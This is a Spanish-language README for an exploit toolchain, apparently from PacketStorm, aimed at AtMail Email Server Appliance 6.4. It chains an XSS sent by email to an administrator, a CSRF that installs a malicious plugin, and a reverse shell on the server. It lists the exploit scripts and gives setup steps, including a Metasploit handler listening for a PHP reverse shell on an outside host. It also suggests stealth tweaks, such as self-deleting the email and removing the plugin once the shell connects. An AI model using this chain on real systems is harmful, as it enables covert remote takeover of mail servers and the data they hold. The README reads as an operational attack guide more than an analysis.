AtMail Email Server Appliance 6.4 - Cadena de herramientas de exploit (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
Descargo de responsabilidad: esta cadena de herramientas de exploit fue inspirada por EDB-ID 20009.
Objetivo
El objetivo de esta cadena de herramientas de exploit es reemplazar EDB-ID 20009.
Ventajas de esta cadena de herramientas sobre el exploit EDB-ID 20009:
- Simple de usar
- Reutilizable
- Payloads generados dinámicamente
- Fácilmente editable / hackeable
- Código claro y plugin disponible
Desventajas del exploit EDB-ID 20009:
- No personalizable (payloads estáticos hardcodeados)
- Complejo de usar (necesita reemplazar muchos valores hardcodeados y adaptar el código al entorno objetivo)
- Uso único (todos los valores hardcodeados)
- El archivo tgz del plugin está incrustado como cadena (caracteres hex), por lo que el código fuente del plugin no puede leerse o modificarse fácilmente
Requisitos
- (Opcional) Metasploit Framework (
msfvenom para generación de reverse shell)
- tar (para generar el archivo del plugin)
- ruby (preparación de payloads y entrega XSS por SMTP)
- (Opcional) Un servidor web para entregar el payload XSS
- Conocer una dirección de correo de un administrador de Atmail (solo los administradores pueden instalar un plugin)
- Interacción pasiva (el administrador necesita abrir el correo que contiene el payload XSS en el WebMail y tener una sesión válida de la interfaz de administración activa)
Instalar requisitos en ArchLinux:
$ sudo pacman -S metasploit tar ruby
Cómo funciona
- Envío de un correo al administrador que contiene un payload XSS
- El payload XSS carga remotamente el CSRF de JavaScript
- El CSRF instala un plugin
- Cuando se instala el plugin, ejecuta un comando del sistema: la reverse shell
Archivos del exploit:
config.yml contiene la configuración de la cadena de herramientas
exploit.sh el envoltorio del exploit que debe ejecutarse
xss_mail.rb enviará el correo que contiene el XSS al administrador a través del servidor SMTP de Atmail (sin autenticación).
csrf_prepare.rb preparará el payload CSRF (estableciendo el objetivo y codificando el archivo del plugin)
rce_prepare.rb preparará el RCE (generando la reverse shell y creando el archivo del plugin)
csrf_plugin.js el payload CSRF preparado
- carpeta
noraj/ que contiene la arquitectura del plugin sin comprimir
Uso
La cadena de herramientas del exploit solo requiere 2 pasos manuales:
- Editar
config.yml
- Lanzar
exploit.sh
Pero antes de lanzar el ataque, un servidor web necesita entregar el archivo JavaScript CSRF y un listener de reverse shell necesita estar esperando la conexión. Así que el ataque se verá más como:
- Editar
config.yml
- Iniciar un servidor HTTP que entregue
csrf_plugin.js
- Iniciar el listener de reverse shell
- Lanzar
exploit.sh
Ejemplo de servidor HTTP en una línea:
$ ruby -run -e httpd . -p 8000
Ejemplo de listener de reverse shell:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Notas
- El RCE ocurre solo cuando el plugin está instalado; si se pierde la conexión de reverse shell, re-ejecutar significa re-instalar el plugin. Así que el administrador solo necesita recargar su buzón.
- Los red teamers podrían mejorar el exploit para auto-eliminar el correo una vez leído y eliminar el plugin una vez que se establece la conexión de reverse shell: menos persistente pero más sigiloso.
- msfvenom (MSF 5.0) solo admite una dirección IP para LHOST, no un dominio.
- Como se dijo en Requisitos, el administrador necesita estar conectado tanto en el Webmail como en la interfaz de administración.
- Probado con ruby 2.7.